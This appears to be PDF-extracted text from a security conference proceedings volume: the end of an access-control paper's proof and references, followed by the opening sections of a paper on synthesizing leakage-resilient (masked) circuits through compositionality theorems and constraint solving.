⇐⇒ 〈 Range Split and One Point Axiom 〉
(∀ i | 1 ≤ i ≤ m − 2 · p(vm) 	F p(vi) ) ∧ p(vm) 	F p(vm−1)

(∀ i | 1 ≤ i ≤ m − 2 · p(vm) 	F p(vi) )
⇐⇒ 〈 1 ≤ i ≤ m − 2 ⇐⇒ 1 ≤ i ≤ m − 3 ∨ i = m − 2 〉

(∀ i | 1 ≤ i ≤ m − 3 ∨ i = m − 2 · p(vm) 	F p(vi) )
⇐⇒ 〈 Range Split and One Point Axiom 〉

(∀ i | 1 ≤ i ≤ m − 3 · p(vm) 	F p(vi) ) ∧ p(vm) 	F p(vm−2)
⇐⇒ 〈 Since (vm−2, vm−1) ∈ E =⇒ p(vm−1) 	F p(vm−2) and transi-

tivity of 	F 〉
(∀ i | 1 ≤ i ≤ m − 3 · p(vm) 	F p(vi) ) ∧ true

⇐⇒ 〈 Identity of ∧ 〉
(∀ i | 1 ≤ i ≤ m − 3 · p(vm) 	F p(vi) )

⇐⇒ 〈 Range Split several times and transitivity of 	F 〉
true

(b) Let Q(m) def⇔ (∀ i | 1 ≤ i ≤ m · p(vi) 	F p(v1) ), for some m ∈ IN.

Base Case: Q(1) def⇔ (∀ i | 1 ≤ i ≤ 1 · p(vi) 	F p(v1) ), which is obviously
true due to the One Point Axiom and the reflexivity of 	F .
Inductive Step: For arbitrary m ≥ 1, we prove Q(m+1) using the hypothe-
ses (Q(m) is true) and (G employs a DD strategy).

(∀ i | 1 ≤ i ≤ m + 1 · p(vi) 	F p(v1) )
⇐⇒ 〈 1 ≤ i ≤ m + 1 ⇐⇒ 1 ≤ i ≤ m ∨ i = m + 1 〉

(∀ i | 1 ≤ i ≤ m ∨ i = m + 1 · p(vi) 	F p(v1) )
⇐⇒ 〈 Range Split and One Point Axiom 〉

(∀ i | 1 ≤ i ≤ m · p(vi) 	F p(v1) ) ∧ p(vm+1) 	F p(v1)
⇐⇒ 〈 From the hypothesis Q(m) is true 〉

true ∧ p(vm+1) 	F p(v1)
⇐⇒ 〈 From (a), and Idompotency of ∧ 〉

true
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12. Höfner, P., Khedri, R., Möller, B.: Supplementing product families with behaviour.
Int. J. Softw. Inf. 5, 245–266 (2011)

13. Horcas, J.-M., Pinto, M., Fuentes, L.: Closing the gap between the specification and
enforcement of security policies. In: Eckert, C., Katsikas, S.K., Pernul, G. (eds.)
TrustBus 2014. LNCS, vol. 8647, pp. 106–118. Springer, Cham (2014). doi:10.1007/
978-3-319-09770-1 10

14. Hu, C.T., Ferraiolo, D.F., Kuhn, D.R., Schnitzer, A., Sandlin, K., Miller, R.,
Scarfone, K.: Guide to attribute based access control (ABAC) definition and con-
siderations, January 2014

15. Hu, V., Kuhn, D., Ferraiolo, D., Voas, J.: Attribute-based access control. Computer
48(2), 85–88 (2015)

16. Janicki, R., Khedri, R.: On a formal semantics of tabular expressions. Sci. Comput.
Program. 39(1–2), 189–213 (2001)

17. Khedri, R., Wu, R., Sanga, B.: SCENATOR: a prototype tool for requirements
inconsistency detection. In: Wang, F., Lee, I. (eds.) Proceedings of the 1st Inter-
national Workshop on Automated Technology for Verification and Analysis, pp.
75–86. National Taiwan University, Taiwan, Republic of China, 10–13 December
2003

http://dx.doi.org/10.1007/11813040_21
http://dx.doi.org/10.1007/978-3-319-09770-1_10
http://dx.doi.org/10.1007/978-3-319-09770-1_10


274 R. Khedri et al.

18. Lippmann, R., Ingols, K., Scott, C., Piwowarski, K., Kratkiewicz, K., Artz, M.,
Cunningham, R.: Validating and restoring defense in depth using attack graphs.
In: MILCOM 2006–2006 IEEE Military Communications Conference, pp. 1–10,
October 2006
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Abstract. A promising approach to defend against side channel attacks
is to build programs that are leakage resilient, in a formal sense. One
such formal notion of leakage resilience is the n-threshold-probing model
proposed in the seminal work by Ishai et al. [16]. In a recent work [9],
Eldib and Wang have proposed a method for automatically synthesizing
programs that are leakage resilient according to this model, for the case
n = 1. In this paper, we show that the n-threshold-probing model of
leakage resilience enjoys a certain compositionality property that can be
exploited for synthesis. We use the property to design a synthesis method
that efficiently synthesizes leakage-resilient programs in a compositional
manner, for the general case of n > 1. We have implemented a pro-
totype of the synthesis algorithm, and we demonstrate its effectiveness
by synthesizing leakage-resilient versions of benchmarks taken from the
literature.

1 Introduction

Side channel attacks are well recognized as serious threat to the security of
computer systems. Building a system that is resilient to side channel attacks is
a challenge, particularly because there are many kinds of side channels (such
as, power, timing, and electromagnetic radiation) and attacks on them. In an
effort to establish a principled solution to the problem, researchers have pro-
posed formal definitions of resilience against side channel attacks, called leakage
resilience [2,11–13,15,16]. The benefit of such formal models of side-channel-
attack resilience is that a program proved secure according to a model is guar-
anteed to be secure against all attacks that are permitted within the model.

The previous research has proposed various notions of leakage resilience.
In this paper, we focus on the n-threshold-probing model proposed in the sem-
inal work by Ishai et al. [16]. Informally, the model says that, given a pro-
gram represented as a Boolean circuit, the adversary learns nothing about the
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secret by executing the program and observing the values of at most n nodes
in the circuit (cf. Sect. 2 for the formal definition). The attractive features of
the model include its relative simplicity, and the relation to masking, a popular
countermeasure technique used in security practice. More precisely, the security
under the n-threshold-probing model is equivalent to the security under nth-
order masking [22], and often, the literature uses the terminologies interchange-
ably [2–4,6,9,10]. Further, as recently shown by Duc et al. [8], the security under
the model also implies the security under the noisy leakage model [21] in which
the adversary obtains information from every node with a probabilistically dis-
tributed noise.

In a recent work, Eldib and Wang [9] have proposed a synthesis method
that, given a program represented as a circuit, returns a functionally equiva-
lent circuit that is leakage resilient according to the n-threshold-probing model,
for the case n = 1 (i.e., the adversary observes only one node). The method is
a constraint-based algorithm whereby the constraints expressing the necessary
conditions are solved in a CEGAR (counterexample-guided abstraction refine-
ment) style. In this work, we extend the synthesis to the general case where n can
be greater than 1. Unfortunately, naively extending (the monolithic version of)
their algorithm to the case n > 1 results in a method whose complexity is double
exponential in n, leading to an immediate roadblock.1 As we show empirically
in Sect. 5, the cost is highly substantial, and the naive monolithic approach fails
even for the case n = 2 on reasonably simple examples.

Our solution to the problem is to exploit a certain compositionality prop-
erty admitted by the leakage resilience model. We state and prove the prop-
erty formally in Theorems 2 and 3. Roughly, the compositionality theorems say
that composing n-leakage-resilient circuits results in an n-leakage-resilient cir-
cuit, under the condition that the randoms in the components are disjoint. The
composition property is quite general and is particularly convenient for synthe-
sis. It allows a compositional synthesis method which divides the given circuit
into smaller sub-circuits, synthesizes n-leakage-resilient versions of them, and
combines the results to obtain an n-leakage-resilient version of the whole. The
correctness is ensured by using disjoint randoms in the synthesized sub-circuits.
Our approach is an interesting contrast to the approach that aims to achieve
compositionality without requiring the disjointness of the component’s randoms,
but instead at the cost of additional randoms at the site of the composition [3,6].

We remark that the compositionality is not at all obvious and quite unex-
pected. Indeed, at first glance, n-leakage resilience for each individual compo-
nent seems to say nothing about the security of the composed circuit against
an adversary who can observe the nodes of multiple different components in
the composition. To further substantiate the non-triviality, we remark that the
compositionality property is quite sensitive, and for example, it fails to hold if
the bounds are relaxed even slightly so that the adversary makes at most n

1 Their paper [9] also shows a compositional algorithm. However, compositionality
becomes non-trivial when n > 1 because then the adversary can observe nodes from
the different components of the composition.
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observations within each individual component but the total number of obser-
vations is allowed to be just one more than n (cf. Example 2).

To synthesize n-leakage-resilient sub-circuits, we extend the monolithic algo-
rithm from [9] to the case where n can be greater than 1. We make several
improvements to the baseline algorithm so that it scales better for the case
n > 1 (cf. Sect. 4.1). We have implemented a prototype of our compositional
synthesis algorithm, and experimented with the implementation on benchmarks
taken from the literature. We summarize our contributions below.

– A proof that the n-threshold-probing model of leakage resilience is preserved
under certain circuit compositions (Sect. 3).

– A compositional synthesis algorithm for the leakage-resilience model that uti-
lizes the compositionality property (Sect. 4).

– Experiments with a prototype implementation of the synthesis algorithm
(Sect. 5).

The rest of the paper is organized as follows. Section 2 introduces prelimi-
nary definitions and notations, including the formal definition of the n-threshold-
probing model of leakage resilience. Section 3 states and proves the composition-
ality property. Section 4 describes the compositional synthesis algorithm. We
report on the experience with a prototype implementation of the algorithm in
Sect. 5, and discuss related work in Sect. 6. We conclude the paper in Sect. 7.
The extended report [5] contains the omitted proofs.

2 Preliminaries

We use boldface font for finite sequences. For example, b = b1, b2, . . . , bn. We
adopt the standard convention of the literature [3,4,9,10] and assume that a
program is represented as an acyclic Boolean circuit.2 We assume the usual
Boolean operators, such as XOR gates ⊕, AND gates ∧, OR gates ∨, and NOT
gates ¬.

A program has three kinds of inputs, secret inputs (often called keys) ranged
over by k, public inputs ranged over by p, and random inputs ranged over by r.
Informally, secret inputs contain the secret bits to be protected from the adver-
sary, public inputs are those that are visible and possibly given by the adversary,
and random inputs contain bits that are generated uniformly at random (hence,
it may be more intuitive to view randoms as not actual “inputs”).

Consider a program P with secret inputs k1, . . . , kx. In the n-threshold-
probing model of leakage resilience, we prepare n+1-split shares of each ki (for
i ∈ {1, . . . , x}):

ri,1, . . . , ri,n, ki ⊕ (
n⊕

j=1

ri,j)

2 In the implementation described in Sect. 5, following the previous works [9,10], we
convert the given C program into such a form.
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where each ri,j is fresh. Note that the split shares sum to ki, and (assuming
that ri,j ’s are uniformly independently distributed) observing up to n many
shares reveals no information about ki. Adopting the standard terminology of
the literature [16], we call the circuit that outputs such split shares the input
encoder of P . The leakage resilience model also requires an output decoder, which
sums the split shares at the output. More precisely, suppose P has y many n+1-
split outputs o1, . . . ,oy (i.e., |oi| = n + 1 for each i ∈ {1, . . . , y}). Then, the
output decoder for P is, for each oi = oi,1, . . . , oi,n+1, the circuit

⊕n+1
j=1 oi,j . For

example, Fig. 1 shows a 2+1-split circuit with the secret inputs k1, k2, public
inputs p1, p2, random inputs r1, r2, r3, r4, and two outputs. Note that the input
encoder (the region Input Encoder) introduces the randoms, and the output
decoder (the region Output Decoder) sums the output split shares.

Fig. 1. Example of a 2-leakage-resilient circuit

We associate a unique
label (ranged over by α)
to every gate of the cir-
cuit. We call the nodes of
P , nodes(P ), to be the set
of labels in P excluding
the gates internal to the
input encoder and the out-
put decoder part of P (but
including the outputs of the
input encoder and the inputs
to the output decoder). Intu-
itively, nodes(P ) are the
nodes that can be observed
by the adversary. For exam-
ple, in Fig. 1, the observable
nodes are the ones in the
region Observable Nodes
labeled α1, . . . , α15.

Let ν be a mapping from
the inputs of P to {0, 1}. Let
α = α1, . . . , αn be a vector of nodes in nodes(P ). We define the evaluation,
νP (α), to be the vector b1, . . . , bn ∈ {0, 1}n, such that each bi is the valuation of
the node αi when evaluating P under ν. For example, let P ′ be the circuit from
Fig. 1. Let ν map p1, r1, k2 to 0, and the others to 1. Then, νP ′(α11, α1) = 0, 1.

Let us write ν[v �→ b] for the store ν except that each vi is mapped to bi

(for i ∈ {1, . . . m}) where v = v1, . . . , vm and b = b1, . . . , bm. Let P be a circuit
with secret inputs k, public inputs p, and random inputs r. For bp ∈ {0, 1}|p|,
bk ∈ {0, 1}|k|, α ∈ nodes(P )∗, and bα ∈ {0, 1}|α|, let #P (bp, bk,α, bα) =
|{b ∈ {0, 1}|r| | ν[r �→ b]P (α) = bα}| where ν = {p �→ bp,k �→ bk}. We define
μP (bp, bk,α) to be the finite map from each bα ∈ {0, 1}|α| to #P (bp, bk,α, bα).
We remark that μP (bp, bk,α), when normalized by the scaling factor 2−|r|, is
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the joint distribution of the values of the nodes α under the public inputs bp

and the secret inputs bk.
Roughly, the n-threshold-probing model of leakage resilience says that, for

any selection of n nodes, the joint distribution of the nodes’ values is independent
of the secret. Formally, the leakage-resilience model is defined as follows.

Definition 1 (Leakage Resilience). Let P be an n+1-split circuit with secret
inputs k, public inputs p, and random inputs r. Then, P is said to be leakage-
resilient under the n-threshold-probing model (or, simply n-leakage-resilient) if
for any bp ∈ {0, 1}|p|, bk ∈ {0, 1}|k|, bk

′ ∈ {0, 1}|k|, and α ∈ nodes(P )n,
μP (bp, bk,α) = μP (bp, bk

′,α).

We remark that, above, r includes all randoms introduced by the input encoder
as well as any additional ones that are not from the input encoder, if any. For
instance, in the case of the circuit from Fig. 1, the randoms are r1, r2, r3, r4 and
they are all from the input encoder.

Fig. 2. A circuit com-
puting (p1 ⊕ k1 ⊕
k2, k2 ∧ p2)

Informally, the n-threshold-probing model of leakage
resilience says that the attacker learns nothing about the
secret by executing the circuit and observing the values of
up to n many internal gates and wires, excluding those
that are internal to the input encoder and the output
decoder.

We say that a circuit is random-free if it has no ran-
doms. Let P be a random-free circuit with public inputs p
and secret inputs k, and P ′ be a circuit with public inputs
p, secret inputs k, and randoms r. We say that P ′ is IO-
equivalent to P if for any bk ∈ {0, 1}|k|, bp ∈ {0, 1}|p|,
and br ∈ {0, 1}|r|, the output of P when evaluated under
ν = {p �→ bp,k �→ bk} is equivalent to that of P ′ when
evaluated under ν[r �→ br]. We formalize the synthesis
problem.

Definition 2 (Synthesis Problem). Given n > 0 and a random-free circuit
P as input, the synthesis problem is the problem of building a circuit P ′ such
that 1.) P ′ is IO-equivalent to P , and 2.) P ′ is n-leakage-resilient.

An important result by Ishai et al. [16] is that any random-free circuit can
be converted to an IO-equivalent leakage-resilient form.

Theorem 1 ([16]). For any random-free circuit P , there exists an n-leakage-
resilient circuit that is IO-equivalent to P .

While the result is of theoretical importance, the construction is more of a proof-
of-concept in which every gate is transformed uniformly, and the obtained cir-
cuits can be quite unoptimized (e.g., injecting excess randoms to mask compu-
tations that do not depend on secrets). The subsequent research has proposed to
construct more optimized leakage-resilient circuits manually [6,22], or by auto-
matic synthesis [9]. The latter is the direction of the present paper.
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Example 1. Consider the random-free circuit P shown in Fig. 2 which outputs
(p1 ⊕ k1 ⊕ k2, k2 ∧ p2). Let P ′ be the circuit from Fig. 1. It is easy to see that
P ′ is IO-equivalent to P . Also, it can be shown that P ′ is 2-leakage resilient.
Therefore, P ′ is a 2-leakage-resilient version of P .

Remark 1. The use of the input encoder and the output decoder is unavoidable.
It is easy to see that the input encoder is needed. Indeed, without it, one cannot
even defend against an one-node-observing attacker as she may directly observe
the secret. To see that the output decoder is also required, consider an one-
output circuit without the output decoder and let n be the fan-in of the last
gate before the output. Then, assuming that the output depends on the secret,
the circuit cannot defend itself against an n-nodes-observing attacker as she may
observe the inputs to the last gate.

Remark 2. In contrast to the previous works [3,6] that implicitly assume that
each secret is encoded (i.e., split in n+1 shares) by only one input encoder,
we allow a secret to be encoded by multiple input encoders. The relaxation
is important in our setting because, as remarked before, the compositionality
results require disjointness of the randoms in the composed components.

Split and Non-split Inputs/Outputs. We introduce terminologies that are
convenient when describing the compositionality results in Sect. 3. We use the
term split inputs to refer to the n+1 tuples of wires to which the n+1-split
(secret) inputs produced by the input encoder (i.e., the pair of triples r1, r2, k1 ⊕
r1⊕r2 and r3, r4, k2⊕r3⊕r4 in the example of Fig. 1) are passed, and use the term
non-split inputs to refer to the wires to which the original inputs before the split
(i.e., k1 and k2 in Fig. 1) are passed. We define split outputs and non-split outputs
analogously. Roughly, the split inputs and outputs are the inputs and outputs of
the attacker-observable part of the circuit (i.e., the region Observable Nodes
in Fig. 1), whereas the non-split inputs and outputs are those of the whole circuit
with the input encoder and the output decoder.

3 Compositionality of Leakage Resilience

Fig. 3. Parallel com-
position of P1 and P2.

This section shows the compositionality property of the
n-threshold-probing model of leakage resilience. We state
and prove two main results (for space the proofs are
deferred to the extended report [5]).

The first result concerns parallel compositions. It
shows that given two n-leakage-resilient circuits P1 and
P2 that possibly share inputs, the composed circuit that
runs P1 and P2 in parallel is also n-leakage resilient,
assuming that the randoms in the two components are
disjoint. Figure 3 shows the diagram depicting the com-
position. The second result concerns sequential composi-
tions, and it is significantly harder to prove than the first
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one. The sequential composition takes an n-leakage-resilient circuit P2 having y
many (non-split) inputs, and n-leakage-resilient circuits P11, . . . , P1y each hav-
ing one (non-split) output. The composition is done by connecting each split
output of the output-decoder-free part of P1i to the ith split input of the input-
encoder-free part of P2. Clearly, the composed circuit is IO-equivalent to the
one formed by connecting each non-split output of P1i to the ith non-split input
of P2. The sequential compositionality result states that the composed circuit
is also n-leakage resilient, under the assumption that the randoms in the com-
posed components are disjoint. Figure 4 shows the diagram of the composition.
We state and prove the parallel compositionality result formally in Sect. 3.1, and
the sequential compositionality result in Sect. 3.2.

We remark that, in the sequential composition, if a (non-split) secret input,
say k, is shared by some P1i and P1j for i �= j, then the disjoint randomness
condition requires k to be encoded by two independent input encoders. This is in
contrast to the previous works [3,6] that only use one input encoder per a secret
input. On the other hand, such works require additional randoms at the site of
the composition, whereas no additional randoms are needed at the composition
site in our case as it directly connects the split outputs of P1i’s to the split inputs
of P2.

3.1 Parallel Composition

This subsection proves the parallel compositionality result. Let us write P1||P2

for the parallel composition of P1 and P2. We state and prove the result.

Fig. 4. Sequential composition of P11, P12, and P2. Here, P11
′ (resp. P12

′) is the output-
decoder-free part of P11 (resp. P12), and P2

′ is the input-encoder-free part of P2. The
composition connects the split outputs of P11

′ and P12
′ to the split inputs of P2

′.
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Theorem 2. Let P1 and P2 be n-leakage-resilient circuits having disjoint ran-
doms. Then, P1||P2 is also n-leakage-resilient.

Remark 3. While Theorem 2 only states that P1||P2 can withstand an attack
that observes up to n nodes total from the composed circuit, a stronger property
can actually be derived from the proof of the theorem. That is, the proof shows
that P1||P2 can withstand an attack that observes up to n nodes from the P1

part and up to n nodes from the P2 part. (However, it is not secure against an
attack that picks more than n nodes in an arbitrary way: for example, picking
n + 1 nodes from one side.)

3.2 Sequential Composition

This subsection proves the sequential compositionality result. As remarked
above, the result is significantly harder to prove than the parallel composition-
ality result. Let us write (P11, . . . , P1y) � P2 for the sequential composition of
P11, . . . , P1y with a y-input circuit P2. We state and prove the sequential com-
positionality result.

Theorem 3. Let P11, . . . , P1y be n-leakage-resilient circuits, and P2 be an y-
input n-leakage-resilient circuit, having disjoint randoms. Then, (P11, . . . , P1y)�
P2 is n-leakage-resilient.

Example 2. As remarked in Sect. 3, the parallel compositionality result enjoys an
additional property that the circuit is secure even under an attack that observes
more than n nodes in the composition as long as the observation in each com-
ponent is at most n. We show that the property does not hold in the case of

Fig. 5. Output-sharing sequential composition of P1, P21, and P22. Here, P1
′ is the

output-decoder-free part of P1, and P21
′ (resp. P22

′) is the input-encoder-free part of
P21 (resp. P22). The composition connects the split output of P1

′ to the split inputs of
P21

′ and P22
′.
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sequential composition. Indeed, it can be shown that just allowing n + 1 obser-
vations breaks the security even if the number of observations made within each
component is at most n.

Fig. 6. An n-leakage resilient
identity circuit.

To see this, consider the n+1-split circuit
shown in Fig. 6. The circuit implements the iden-
tity function, and it is easy to see that the circuit
is n-leakage resilient. Let P1 and P2 be copies of
the circuit, and consider the composition (P1)�P2.
Then, the composed circuit is not secure against
an attack that observes m nodes of P1 for some
1 ≤ m ≤ n, and observes n + 1 − m nodes of P2

such that the nodes picked on the P2 side are the
nodes connected to the nodes that are not picked
on the P1 side.

Remark 4. By a reasoning similar to the one used in the proof of Theorem 3, we
can show the correctness of a more parsimonious version of parallel composition
theorem (Theorem 2) where given P1 and P2 that shares a secret, instead of
P1||P2 duplicating split shares of the secret as in Fig. 3, we make one split share
tuple to be used in the both sides of the composition. Combining this improved
parallel composition with the sequential compositionality result, we obtain com-
positionality for the case where an output of a circuit is shared by more than
one circuit in a sequential composition.

Figure 5 depicts such an output-sharing sequential composition. Here, P1, P21,
and P22 are n-leakage-resilient circuits, and we wish to compose them by con-
necting the output of P1 to the input of P21 and the input of P22. By the parallel
compositionality result, the parallel composition of P21 and P22 that shares the
same input (v) is n-leakage-resilient. Then, it follows that, sequentially compos-
ing that parallelly composed circuit with P1, as depicted in the figure, is also
n-leakage-resilient thanks to the sequential compositionality result.

4 Compositional Synthesis Algorithm

The compositionality property gives a way for a compositional approach to syn-
thesizing leakage-resilient circuits. Algorithm 1 shows the overview of the synthe-
sis algorithm. Given a random-free circuit as an input, the algorithm synthesizes
an IO-equivalent n-leakage-resilient circuit. It first invokes the Decomp opera-
tion to choose a suitable decomposition of the given circuit into some number of
sub-circuits. Then, it invokes MonoSynth on each sub-circuit Pi to synthesize
an n-leakage resilient circuit Pi

′ that is IO-equivalent to Pi. Finally, it returns
the composition of the obtained circuits as the synthesized n-leakage resilient
version of the original.

Comp is the composition operation, and it composes the given n-leakage-
resilient circuits in the manner described in Sect. 3. MonoSynth is a constraint-
based “monolithic” synthesis algorithm that synthesizes an n-leakage-resilient
circuit that is IO-equivalent to the given circuit without further decomposition.
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Algorithm 1. The Compositional Synthesis Algorithm
Input: Random-free Circuit P
Output: IO-equivalent n-leakage-resilient circuit

1: P1, . . . , Pm := Decomp(P )
2: for each Pi ∈ {P1, . . . , Pm} do
3: Pi

′ := MonoSynth(Pi)
4: end for
5: return Comp(P1

′, . . . , Pm
′)

We describe MonoSynth in Sect. 4.1, and describe the decomposition operation
Decomp in Sect. 4.2.

The algorithm optimizes the synthesized circuits in the following ways. First,
as described in Sect. 4.1, the monolithic synthesis looks for tree-shaped circuits
of the shortest tree height. Secondly, as described in Sect. 4.2, the decomposition
and composition is done in a way to avoid unnecessarily making the non-secret-
dependent parts leakage resilient, and also to re-use the synthesis results for
shared sub-circuits whenever allowed by the compositionality properties.

Remark 5. The compositional algorithm composes the n-leakage-resilient ver-
sions of the sub-circuits. Note that the compositionality property states that
the result will be n-leakage-resilient after the composition, regardless of how the
sub-circuits are synthesized as long as they are also n-leakage-resilient and have
disjoint randoms. Thus, in principle, any method to synthesize the n-leakage-
resilient versions of the sub-circuits may be used in place of MonoSynth. For
instance, a possible alternative is to use a database of n-leakage-resilient versions
of commonly-used circuits (e.g., obtained via the construction of [6,16]).

4.1 Constraint-Based Monolithic Synthesis

The monolithic synthesis algorithm is based on and extends the constraint-based
approach proposed by Eldib and Wang [9]. The algorithm synthesizes an n-
leakage-resilient circuit that is IO-equivalent to the given circuit. The algorithm
requires the given circuit to have only one output. Therefore, the overall algo-
rithm to decomposes the whole circuit into such sub-circuits before passing them
to MonoSynth.

We formalize the algorithm as quantified first-order logic constraint solving.
Let P be the random-free circuit given as the input. We prepare a quantifier-free
formula ΦP (α,p,k, o) on the free variables α, p, k, o that encodes the input-
output behavior of P . Formally, ∃α.ΦP (α,p,k, o) is true iff P outputs o given
public inputs p and secret inputs k. The variables α are used for encoding the
shared sub-circuits within P (i.e., gates of fan-out > 1). For example, for P that
outputs k ∧ p, ΦP (p, k, o) ≡ o = k ∧ p.

Adopting the approach of [9], our monolithic algorithm works by preparing
skeleton circuits of increasing size, and searching for an instance of the skele-
ton that is n-leakage-resilient and IO-equivalent to P . By starting from a small
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o = α1 ⊕ α4 ∧
i∈{1,4}((Ci = XOR ⇒ αi = αi+1 ⊕ αi+2) ∧

(Ci = AND ⇒ αi = αi+1 ∧ αi+2) ∧
(Ci = OR ⇒ αi = αi+1 ∨ αi+2)) ∧

i∈{2,3,5,6}((Ci = F ⇒ αi = 0) ∧ (Ci = T ⇒ αi = 1) ∧
(Ci = P ⇒ αi = p) ∧ (Ci = K1 ⇒ αi = r) ∧
(Ci = K2 ⇒ αi = k ⊕ r))

(a) (b)

Fig. 7. (a) Skeleton circuit. (b) ΦSk2 for the skeleton circuit.

skeleton, the algorithm biases toward finding an optimized leakage resilient cir-
cuit. Formally, a skeleton circuit Sk� is a tree-shaped circuit (i.e., circuit with
all non-input gates having fan-out of 1) of height � whose gates have undeter-
mined functionality except for the parts that implement the input encoder and
the output decoder. For example, Fig. 7(a) shows the 1+1-split skeleton circuit
of height 2 with one secret input.

We prepare a quantifier-free skeleton formula ΦSk�
that expresses the skeleton

circuit. Formally, ΦSk�
(C,α,p,k, r, o) is true iff P ′ outputs o with the valuations

of nodes(P ′) having the values α given public inputs p, secret inputs k, and
random inputs r where P ′ is Sk� with its nodes’ functionality determined by
C.3 We call C the control variables, and write Sk�(C) for the instance of Sk�

determined by C. For example, Fig. 7(b) shows ΦSk�
for the skeleton circuit from

Fig. 7(a), when there is one public input and no randoms besides the one from
the input encoder.

The synthesis is now reduced to the problem of finding an assignment to
C that satisfies the constraint Φio(C) ∧ Φlr(C) where Φio(C) expresses that
Sk�(C) is IO-equivalent to P , and Φlr(C) expresses that Sk�(C) is n-leakage-
resilient. As we shall show next, the constraints faithfully encode IO-equivalence
and leakage-resilience according to the definitions from Sect. 2.

Φio(C) is the formula below.

∀α,α′,p,k, r, o, o′. ΦP (α,p,k, o) ∧ ΦSk�
(C,α′,p,k, r, o′) ⇒ o = o′

It is easy to see that Φio correctly expresses IO equivalence.
The definition of Φlr is more involved, and we begin by introducing a useful

shorthand notation. Let m be the number of (observable) nodes in Sk�. Without
loss of generality, we assume that m ≥ n. Let σ ∈ {1, . . . , m}∗ be a sequence
such that |σ| ≤ n, and α = α1, . . . , αm be a length m sequence of variables. We
write α〈σ〉 for the sequence of variables β1, . . . β|σ| such that βi = ασi

for each

3 Technically, the number of randoms (i.e., r) can also be left undetermined in the
skeleton. Here, for simplicity, we assume that the number of randoms is determined
by the factors such as n, the skeleton height, and the number of secret inputs.
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i ∈ {1, . . . , |σ|}. Intuitively, σ represents a selection of nodes observed by the
adversary. For example, let α = α1, α2, α3 and σ = 1, 3, then α〈σ〉 = α1, α3.

Let R = {0, 1}|r|. Then, Φlr(C) is the formula below.

∀σ.∀β,α′,p,k,k′,o.∧
b∈R φ[αb/α][ob/o] ∧ φ[α′

b/α][o′b/o][k′/k]
⇒ ∑

b∈R(αb〈σ〉 = β) =
∑

b∈R(αb
′〈σ〉 = β)

where α′ is a sequence comprising distinct variables αb and α′
b such that |αb| =

|α′
b| = m for each b ∈ R, o is a sequence comprising distinct variables ob and o′b

for each b ∈ R, and φ is the formula ΦSk�
(C,α,p,k, b, o). While Φlr(C) is not

strictly a first-order logic formula, it can be converted to the form by expanding
the finitely many possible choices of σ.

Algorithm 2. MonoSynth

Input: Random-free Circuit P
Output: IO-equivalent n-leakage resilient circuit

1: � := INIT HEIGHT

2: loop
3: tset := ∅; γ := n
4: loop
5: match FindCand(tset,γ) with
6: nosol → �++; break
7: | sol(bC ) → match CheckCand(bC ) with
8: success → return Sk�(bC )
9: | cex(tset′, γ′) → tset := tset ∪ tset′; γ := max(γ, γ′)

10: end loop
11: end loop

Because the domains of the quantified variables in Φio and Φlr are finite,
one approach to solving the constraint may be first eliminating the quantifiers
eagerly and then solving for C that satisfies the resulting constraint. However,
the approach is clearly impractical due to the extreme size of the resulting con-
straint. Instead, adopting the idea from [9], we solve the constraint by lazily
instantiating the quantifiers. The main idea is to divide the constraint solving
process in two phases: the candidate finding phase that infers a candidate solu-
tion for C, and the candidate checking phase that checks whether the candidate
is actually a solution. We run the phases iteratively in a CEGAR style until
convergence. Algorithm 2 shows the overview of the process. We describe the
details of the algorithm below.

Candidate Checking. The candidate checking phase is straightforward.
Note that, after expanding the choices of σ in Φlr, Φio(C) ∧ Φlr(C) only
has outer-most ∀ quantifiers. Therefore, given a concrete assignment to C,
bC , CheckCand directly solves the constraint by using an SMT solver.4

4 Also, because C are the only shared variables in Φio and Φlr, the two may be checked
independently after instantiating C .
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(However, naively expanding σ can be costly when n > 1, and we show a modi-
fication that alleviates the cost in the later part of the subsection.)

Candidate Finding. We describe the candidate finding process FindCand. To
find a likely candidate, we adopt the idea from [9] and prepare a test set that is
updated via the CEGAR iterations. In [9], a test set, tset, is a pair of sets tsetp
and tsetk where tsetp (resp. tsetk) contains finitely many concrete valuations of
p (resp. k). Having such a test set, we can rewrite the constraint so that the
public inputs and secret inputs are restricted to those from the test set. That is,
Φio(C) is rewritten to be the formula below.
∧

(bp,bk)∈tsetp×tsetk

ΦP (αbpbk
, bp, bk, obpbk

) ∧ ΦSk�
(C,α′

bpbk
, bp, bk, rbpbk

, o′bpbk
) ∧ obpbk

= o′bpbk

And, Φlr(C) becomes the formula below.

∀σ.∀β.
∧

(bp,bk,bk
′)∈tsetp×tsetk×tsetk

∧
b∈R

φ[αbpbkb/α][obpbkb/o][bk/k] ∧ φ[α′
bpb′

kb
/α][o′

bpb′
kb

/o][b′
k/k]

∧ ∑
b∈R(αbpbkb〈σ〉 = β) =

∑
b∈R(α′

bpb′
kb

〈σ〉 = β)

where φ is the formula ΦSk�
(C,α, bp,k, b, o). We remark that, because fixing the

inputs to concrete values also fixes the valuations of some other variables (e.g.,
fixing p and k also fixes α and o in ΦP (α,p,k, o)), the constraint structure is
modified to remove the quantifications on such variables.

At this point, the approach of [9] can be formalized as the following process:
it eagerly instantiates the possible choices of σ and β to reduce the constraint
to a quantifier-free form, and looks for a satisfying assignment to the resulting
constraint. This is a sensible approach when n is 1 because, in that case, the
number of possible choices of σ is linear in the size of the skeleton (i.e., is m)
and the possible valuations of β are simply {0, 1}. Unfortunately, the number of
possible choices of σ grows exponentially in n, and so does that of the possible
valuations of β.5 We remark that this is expected because σ represents the
adversary’s node selection choice, and β represents the valuation of the selected
nodes. Indeed, in our experience with a prototype implementation, this method
fails even on quite small sub-circuits and with n just 2.

Therefore, we make the following improvements to the base algorithm.

(1) We restrict the node selection to root-most γ nodes where γ starts at n and
is incremented via the CEGAR loop.

(2) We include node valuations in the test set.
(3) We use dependency analysis to reduce irrelevant node selections from the

constraint in the candidate checking phase.

5 Therefore, the complexity of the method is at least double exponential in n assuming
that the complexity of the constraint solving process is at least exponential in the
size of the given formula.
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The rationale for prioritizing the root-most nodes in (1) is that, in a tree-shaped
circuit, nodes closer to the root are more likely to be dependent on the secret
and therefore are expected to be better targets for the adversary. The number
of root-most nodes to select, γ, is incremented as needed by a counterexample
analysis (cf. lines 7–9 of Algorithm 2). The test set generation for node valuations
described in item (2) is done in much the same way as that for public inputs and
secret inputs. We describe the test set generation process in more detail in Test
Set Generation. With the modifications (1) and (2), the leakage-resilience con-
straint to be solved in the candidate finding phase is now the following formula.

∀σ :γ.
∧

(bp,bk,bk
′,bβ)∈tsetp×tsetk×tsetk×tsetβ

∧
b∈R

